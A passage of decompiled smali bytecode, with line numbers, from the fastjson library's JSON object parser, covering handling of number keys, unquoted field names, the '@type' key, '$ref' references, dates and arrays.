                                                178invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->skipWhitespace()V
                                                180invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->getCurrent()C
                                                181move-result v6
                                                182if-ne v6, v7, :cond_104
                                                183goto/16 :goto_9b
                                                184cond_104: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                185new-instance v2, Ljava/lang/StringBuilder;
                                                187invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                189invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                191invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->pos()I
                                                192move-result v3
                                                194invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                196invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                197move-result-object v2
                                                199invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                200throw v0
                                                201cond_11d: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                203invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                204throw v0
                                                205cond_123: const/16 v6, 0x1a
                                                206if-eq v10, v6, :cond_574
                                                207if-eq v10, v12, :cond_56e
                                                208if-lt v10, v11, :cond_12f
                                                209const/16 v6, 0x39
                                                210if-le v10, v6, :cond_133
                                                211cond_12f: const/16 v6, 0x2d
                                                212if-ne v10, v6, :cond_188
                                                213cond_133:
                                                214invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->resetStringPosition()V
                                                216invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->scanNumber()V
                                                217try_start_139:
                                                218invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                219move-result v5
                                                220const/4 v6, 0x2
                                                221if-ne v5, v6, :cond_145
                                                223invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->integerValue()Ljava/lang/Number;
                                                224move-result-object v5
                                                225goto/16 :goto_149
                                                226cond_145:
                                                227invoke-interface {v3, v15}, Lcom/alibaba/fastjson/parser/JSONLexer;->decimalValue(Z)Ljava/lang/Number;
                                                228move-result-object v5
                                                229try_end_149: move-object v10, v5
                                                230try_start_14a:
                                                231invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->getCurrent()C
                                                232move-result v5
                                                233if-ne v5, v7, :cond_152
                                                234goto/16 :goto_9b
                                                235cond_152: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                236new-instance v2, Ljava/lang/StringBuilder;
                                                238invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                240const-string v4, "parse number key error"
                                                242invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                244invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->info()Ljava/lang/String;
                                                245move-result-object v3
                                                247invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                249invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                250move-result-object v2
                                                252invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                253throw v0
                                                254catch_16d: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                255new-instance v2, Ljava/lang/StringBuilder;
                                                257invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                259const-string v4, "parse number key error"
                                                261invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                263invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->info()Ljava/lang/String;
                                                264move-result-object v3
                                                266invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                268invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                269move-result-object v2
                                                271invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                272throw v0
                                                273cond_188: const/16 v6, 0x7b
                                                274if-eq v10, v6, :cond_1d1
                                                275const/16 v6, 0x5b
                                                276if-ne v10, v6, :cond_191
                                                277goto/16 :goto_1d1
                                                278cond_191:
                                                279sget-object v6, Lcom/alibaba/fastjson/parser/Feature;->AllowUnQuotedFieldNames:Lcom/alibaba/fastjson/parser/Feature;
                                                281invoke-interface {v3, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                282move-result v6
                                                283if-eqz v6, :cond_1cb
                                                285iget-object v6, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->symbolTable:Lcom/alibaba/fastjson/parser/SymbolTable;
                                                287invoke-interface {v3, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->scanSymbolUnQuoted(Lcom/alibaba/fastjson/parser/SymbolTable;)Ljava/lang/String;
                                                288move-result-object v10
                                                290invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->skipWhitespace()V
                                                292invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->getCurrent()C
                                                293move-result v6
                                                294if-ne v6, v7, :cond_1aa
                                                295goto/16 :goto_9b
                                                296cond_1aa: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                297new-instance v2, Ljava/lang/StringBuilder;
                                                299invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                301invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                303invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->pos()I
                                                304move-result v3
                                                306invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                308const-string v3, ", actual "
                                                310invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                312invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                314invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                315move-result-object v2
                                                317invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                318throw v0
                                                319cond_1cb: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                321invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                322throw v0
                                                323cond_1d1:
                                                324invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                326invoke-virtual/range {p0 .. p0}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->parse()Ljava/lang/Object;
                                                327move-result-object v10
                                                328const/4 v5, 0x1
                                                329goto_1d9: if-nez v5, :cond_1e1
                                                331invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->next()C
                                                333invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->skipWhitespace()V
                                                334cond_1e1:
                                                335invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->getCurrent()C
                                                336move-result v5
                                                338invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->resetStringPosition()V
                                                340sget-object v6, Lcom/alibaba/fastjson/JSON;->DEFAULT_TYPE_KEY:Ljava/lang/String;
                                                341if-ne v10, v6, :cond_293
                                                343sget-object v6, Lcom/alibaba/fastjson/parser/Feature;->DisableSpecialKeyDetect:Lcom/alibaba/fastjson/parser/Feature;
                                                345invoke-interface {v3, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                346move-result v6
                                                347if-nez v6, :cond_293
                                                349iget-object v5, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->symbolTable:Lcom/alibaba/fastjson/parser/SymbolTable;
                                                350const/16 v6, 0x22
                                                352invoke-interface {v3, v5, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->scanSymbol(Lcom/alibaba/fastjson/parser/SymbolTable;C)Ljava/lang/String;
                                                353move-result-object v5
                                                355iget-object v6, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->config:Lcom/alibaba/fastjson/parser/ParserConfig;
                                                357invoke-virtual {v6}, Lcom/alibaba/fastjson/parser/ParserConfig;->getDefaultClassLoader()Ljava/lang/ClassLoader;
                                                358move-result-object v6
                                                360invoke-static {v5, v6}, Lcom/alibaba/fastjson/util/TypeUtils;->loadClass(Ljava/lang/String;Ljava/lang/ClassLoader;)Ljava/lang/Class;
                                                361move-result-object v6
                                                362if-nez v6, :cond_214
                                                364sget-object v6, Lcom/alibaba/fastjson/JSON;->DEFAULT_TYPE_KEY:Ljava/lang/String;
                                                366invoke-interface {v0, v6, v5}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                367const/4 v5, 0x0
                                                368const/16 v6, 0xd
                                                369goto_210: const/16 v8, 0x10
                                                370goto/16 :goto_5d
                                                371cond_214: const/16 v4, 0x10
                                                373invoke-interface {v3, v4}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken(I)V
                                                375invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                376move-result v7
                                                377const/16 v8, 0xd
                                                378if-ne v7, v8, :cond_263
                                                380invoke-interface {v3, v4}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken(I)V
                                                381try_start_224:
                                                382iget-object v0, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->config:Lcom/alibaba/fastjson/parser/ParserConfig;
                                                384invoke-virtual {v0, v6}, Lcom/alibaba/fastjson/parser/ParserConfig;->getDeserializer(Ljava/lang/reflect/Type;)Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                385move-result-object v0
                                                386instance-of v2, v0, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;
                                                387if-eqz v2, :cond_237
                                                388check-cast v0, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;
                                                390invoke-virtual {v0, v1, v6}, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->createInstance(Lcom/alibaba/fastjson/parser/DefaultJSONParser;Ljava/lang/reflect/Type;)Ljava/lang/Object;
                                                391move-result-object v0
                                                392move-object/from16 v16, v0
                                                393goto/16 :goto_239
                                                394cond_237: const/16 v16, 0x0
                                                395goto_239: if-nez v16, :cond_256
                                                396const-class v0, Ljava/lang/Cloneable;
                                                397if-ne v6, v0, :cond_245
                                                398new-instance v16, Ljava/util/HashMap;
                                                400invoke-direct/range {v16 .. v16}, Ljava/util/HashMap;-><init>()V
                                                401goto/16 :goto_256
                                                402cond_245:
                                                403const-string v0, "java.util.Collections$EmptyMap"
                                                405invoke-virtual {v0, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                406move-result v0
                                                407if-eqz v0, :cond_252
                                                409invoke-static {}, Ljava/util/Collections;->emptyMap()Ljava/util/Map;
                                                410move-result-object v16
                                                411goto/16 :goto_256
                                                412cond_252:
                                                413invoke-virtual {v6}, Ljava/lang/Class;->newInstance()Ljava/lang/Object;
                                                414move-result-object v16
                                                415cond_256:
                                                416invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                417return-object v16
                                                418catch_25a: move-exception v0
                                                419try_start_25b: new-instance v2, Lcom/alibaba/fastjson/JSONException;
                                                421const-string v3, "create instance error"
                                                423invoke-direct {v2, v3, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                424throw v2
                                                425cond_263: const/4 v3, 0x2
                                                427invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setResolveStatus(I)V
                                                429iget-object v3, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                430if-eqz v3, :cond_272
                                                431instance-of v3, v2, Ljava/lang/Integer;
                                                432if-nez v3, :cond_272
                                                434invoke-virtual/range {p0 .. p0}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->popContext()V
                                                435cond_272:
                                                436invoke-interface/range {p1 .. p1}, Ljava/util/Map;->size()I
                                                437move-result v3
                                                438if-lez v3, :cond_285
                                                440iget-object v2, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->config:Lcom/alibaba/fastjson/parser/ParserConfig;
                                                442invoke-static {v0, v6, v2}, Lcom/alibaba/fastjson/util/TypeUtils;->cast(Ljava/lang/Object;Ljava/lang/Class;Lcom/alibaba/fastjson/parser/ParserConfig;)Ljava/lang/Object;
                                                443move-result-object v0
                                                445invoke-virtual {v1, v0}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->parseObject(Ljava/lang/Object;)V
                                                446try_end_281:
                                                447invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                448return-object v0
                                                449cond_285:
                                                450iget-object v0, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->config:Lcom/alibaba/fastjson/parser/ParserConfig;
                                                452invoke-virtual {v0, v6}, Lcom/alibaba/fastjson/parser/ParserConfig;->getDeserializer(Ljava/lang/reflect/Type;)Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                453move-result-object v0
                                                455invoke-interface {v0, v1, v6, v2}, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;->deserialze(Lcom/alibaba/fastjson/parser/DefaultJSONParser;Ljava/lang/reflect/Type;Ljava/lang/Object;)Ljava/lang/Object;
                                                456move-result-object v0
                                                457try_end_28f:
                                                458invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                459return-object v0
                                                460cond_293:
                                                461const-string v6, "$ref"
                                                462if-ne v10, v6, :cond_356
                                                464sget-object v6, Lcom/alibaba/fastjson/parser/Feature;->DisableSpecialKeyDetect:Lcom/alibaba/fastjson/parser/Feature;
                                                466invoke-interface {v3, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                467move-result v6
                                                468if-nez v6, :cond_356
                                                469const/4 v0, 0x4
                                                471invoke-interface {v3, v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken(I)V
                                                473invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                474move-result v0
                                                475const/4 v2, 0x4
                                                476if-ne v0, v2, :cond_337
                                                478invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->stringVal()Ljava/lang/String;
                                                479move-result-object v0
                                                480const/16 v2, 0xd
                                                482invoke-interface {v3, v2}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken(I)V
                                                484const-string v2, "@"
                                                486invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                487move-result v2
                                                488if-eqz v2, :cond_2d5
                                                490iget-object v0, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                491if-eqz v0, :cond_31f
                                                493iget-object v0, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                495iget-object v5, v0, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                496instance-of v2, v5, [Ljava/lang/Object;
                                                497if-nez v2, :cond_320
                                                498instance-of v2, v5, Ljava/util/Collection;
                                                499if-eqz v2, :cond_2cc
                                                500goto/16 :goto_320
                                                501cond_2cc:
                                                502iget-object v2, v0, Lcom/alibaba/fastjson/parser/ParseContext;->parent:Lcom/alibaba/fastjson/parser/ParseContext;
                                                503if-eqz v2, :cond_31f
                                                505iget-object v0, v0, Lcom/alibaba/fastjson/parser/ParseContext;->parent:Lcom/alibaba/fastjson/parser/ParseContext;
                                                507iget-object v5, v0, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                508goto/16 :goto_320
                                                509cond_2d5:
                                                510const-string v2, ".."
                                                512invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                513move-result v2
                                                514if-eqz v2, :cond_2f0
                                                516iget-object v2, v9, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                517if-eqz v2, :cond_2e4
                                                519iget-object v5, v9, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                520goto/16 :goto_320
                                                521cond_2e4: new-instance v2, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;
                                                523invoke-direct {v2, v9, v0}, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;-><init>(Lcom/alibaba/fastjson/parser/ParseContext;Ljava/lang/String;)V
                                                525invoke-virtual {v1, v2}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->addResolveTask(Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;)V
                                                527invoke-virtual {v1, v15}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setResolveStatus(I)V
                                                528goto/16 :goto_31f
                                                529cond_2f0:
                                                530const-string v2, "$"
                                                532invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                533move-result v2
                                                534if-eqz v2, :cond_314
                                                535move-object v2, v9
                                                536goto_2f9:
                                                537iget-object v4, v2, Lcom/alibaba/fastjson/parser/ParseContext;->parent:Lcom/alibaba/fastjson/parser/ParseContext;
                                                538if-eqz v4, :cond_300
                                                540iget-object v2, v2, Lcom/alibaba/fastjson/parser/ParseContext;->parent:Lcom/alibaba/fastjson/parser/ParseContext;
                                                541goto/16 :goto_2f9
                                                542cond_300:
                                                543iget-object v4, v2, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                544if-eqz v4, :cond_308
                                                546iget-object v0, v2, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                547move-object v5, v0
                                                548goto/16 :goto_320
                                                549cond_308: new-instance v4, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;
                                                551invoke-direct {v4, v2, v0}, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;-><init>(Lcom/alibaba/fastjson/parser/ParseContext;Ljava/lang/String;)V
                                                553invoke-virtual {v1, v4}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->addResolveTask(Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;)V
                                                555invoke-virtual {v1, v15}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setResolveStatus(I)V
                                                556goto/16 :goto_31f
                                                557cond_314: new-instance v2, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;
                                                559invoke-direct {v2, v9, v0}, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;-><init>(Lcom/alibaba/fastjson/parser/ParseContext;Ljava/lang/String;)V
                                                561invoke-virtual {v1, v2}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->addResolveTask(Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;)V
                                                563invoke-virtual {v1, v15}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setResolveStatus(I)V
                                                564cond_31f: const/4 v5, 0x0
                                                565goto_320:
                                                566invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                567move-result v0
                                                568const/16 v2, 0xd
                                                569if-ne v0, v2, :cond_331
                                                570const/16 v0, 0x10
                                                572invoke-interface {v3, v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken(I)V
                                                573try_end_32d:
                                                574invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                575return-object v5
                                                576cond_331: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                578invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                579throw v0
                                                580cond_337: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                581new-instance v2, Ljava/lang/StringBuilder;
                                                583invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                585const-string v4, "illegal ref, "
                                                587invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                589invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                590move-result v3
                                                592invoke-static {v3}, Lcom/alibaba/fastjson/parser/JSONToken;->name(I)Ljava/lang/String;
                                                593move-result-object v3
                                                595invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                597invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                598move-result-object v2
                                                600invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                601throw v0
                                                602cond_356: if-nez v4, :cond_376
                                                604iget-object v6, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                605if-eqz v6, :cond_36c
                                                607iget-object v6, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                609iget-object v6, v6, Lcom/alibaba/fastjson/parser/ParseContext;->fieldName:Ljava/lang/Object;
                                                610if-ne v2, v6, :cond_36c
                                                612iget-object v6, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                614iget-object v6, v6, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                615if-ne v0, v6, :cond_36c
                                                617iget-object v6, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                618move-object v9, v6
                                                619goto/16 :goto_376
                                                620cond_36c:
                                                621invoke-virtual/range {p0 .. p2}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Ljava/lang/Object;Ljava/lang/Object;)Lcom/alibaba/fastjson/parser/ParseContext;
                                                622move-result-object v4
                                                623if-nez v9, :cond_373
                                                624goto/16 :goto_374
                                                625cond_373: move-object v4, v9
                                                626goto_374: move-object v9, v4
                                                627const/4 v4, 0x1
                                                628cond_376:
                                                629invoke-virtual/range {p1 .. p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                630move-result-object v6
                                                631const-class v7, Lcom/alibaba/fastjson/JSONObject;
                                                632if-ne v6, v7, :cond_388
                                                633if-nez v10, :cond_383
                                                635const-string v6, "null"
                                                636goto/16 :goto_387
                                                637cond_383:
                                                638invoke-virtual {v10}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                                639move-result-object v6
                                                640goto_387: move-object v10, v6
                                                641cond_388: const/16 v6, 0x22
                                                642if-ne v5, v6, :cond_3b5
                                                644invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->scanString()V
                                                646invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->stringVal()Ljava/lang/String;
                                                647move-result-object v5
                                                649sget-object v6, Lcom/alibaba/fastjson/parser/Feature;->AllowISO8601DateFormat:Lcom/alibaba/fastjson/parser/Feature;
                                                651invoke-interface {v3, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                652move-result v6
                                                653if-eqz v6, :cond_3b1
                                                654new-instance v6, Lcom/alibaba/fastjson/parser/JSONScanner;
                                                656invoke-direct {v6, v5}, Lcom/alibaba/fastjson/parser/JSONScanner;-><init>(Ljava/lang/String;)V
                                                658invoke-virtual {v6}, Lcom/alibaba/fastjson/parser/JSONScanner;->scanISO8601DateIfMatch()Z
                                                659move-result v7
                                                660if-eqz v7, :cond_3ae
                                                662invoke-virtual {v6}, Lcom/alibaba/fastjson/parser/JSONScanner;->getCalendar()Ljava/util/Calendar;
                                                663move-result-object v5
                                                665invoke-virtual {v5}, Ljava/util/Calendar;->getTime()Ljava/util/Date;
                                                666move-result-object v5
                                                667cond_3ae:
                                                668invoke-virtual {v6}, Lcom/alibaba/fastjson/parser/JSONScanner;->close()V
                                                669cond_3b1:
                                                670invoke-interface {v0, v10, v5}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                671goto/16 :goto_3db
                                                672cond_3b5: if-lt v5, v11, :cond_3bb
                                                673const/16 v6, 0x39
                                                674if-le v5, v6, :cond_3bf
                                                675cond_3bb: const/16 v6, 0x2d
                                                676if-ne v5, v6, :cond_420
                                                677cond_3bf:
                                                678invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->scanNumber()V
                                                680invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                681move-result v5
                                                682const/4 v6, 0x2
                                                683if-ne v5, v6, :cond_3ce
                                                685invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->integerValue()Ljava/lang/Number;
                                                686move-result-object v5
                                                687goto/16 :goto_3d8
                                                688cond_3ce:
                                                689sget-object v5, Lcom/alibaba/fastjson/parser/Feature;->UseBigDecimal:Lcom/alibaba/fastjson/parser/Feature;
                                                691invoke-interface {v3, v5}, Lcom/alibaba/fastjson/parser/JSONLexer;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                692move-result v5
                                                694invoke-interface {v3, v5}, Lcom/alibaba/fastjson/parser/JSONLexer;->decimalValue(Z)Ljava/lang/Number;
                                                695move-result-object v5
                                                696goto_3d8:
                                                697invoke-interface {v0, v10, v5}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                698goto_3db:
                                                699invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->skipWhitespace()V
                                                701invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->getCurrent()C
                                                702move-result v6
                                                703if-ne v6, v12, :cond_3ed
                                                705invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->next()C
                                                706goto_3e7: const/16 v6, 0xd
                                                707const/16 v7, 0x10
                                                708goto/16 :goto_54a
                                                709cond_3ed: if-ne v6, v13, :cond_3ff
                                                711invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->next()C
                                                713invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->resetStringPosition()V
                                                715invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                717invoke-virtual {v1, v5, v10}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Ljava/lang/Object;Ljava/lang/Object;)Lcom/alibaba/fastjson/parser/ParseContext;
                                                718try_end_3fb:
                                                719invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                720return-object v0
                                                721cond_3ff: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                722new-instance v2, Ljava/lang/StringBuilder;
                                                724invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                726const-string v4, "syntax error, position at "
                                                728invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                730invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->pos()I
                                                731move-result v3
                                                733invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                735invoke-virtual {v2, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                737invoke-virtual {v2, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                739invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                740move-result-object v2
                                                742invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                743throw v0
                                                744cond_420: const/16 v6, 0x5b
                                                745if-ne v5, v6, :cond_469
                                                747invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                748new-instance v5, Lcom/alibaba/fastjson/JSONArray;
                                                750invoke-direct {v5}, Lcom/alibaba/fastjson/JSONArray;-><init>()V
                                                751if-eqz v2, :cond_434
                                                753invoke-virtual/range {p2 .. p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                754move-result-object v6
                                                755const-class v7, Ljava/lang/Integer;
                                                756cond_434: if-nez v2, :cond_439
                                                758invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                759cond_439:
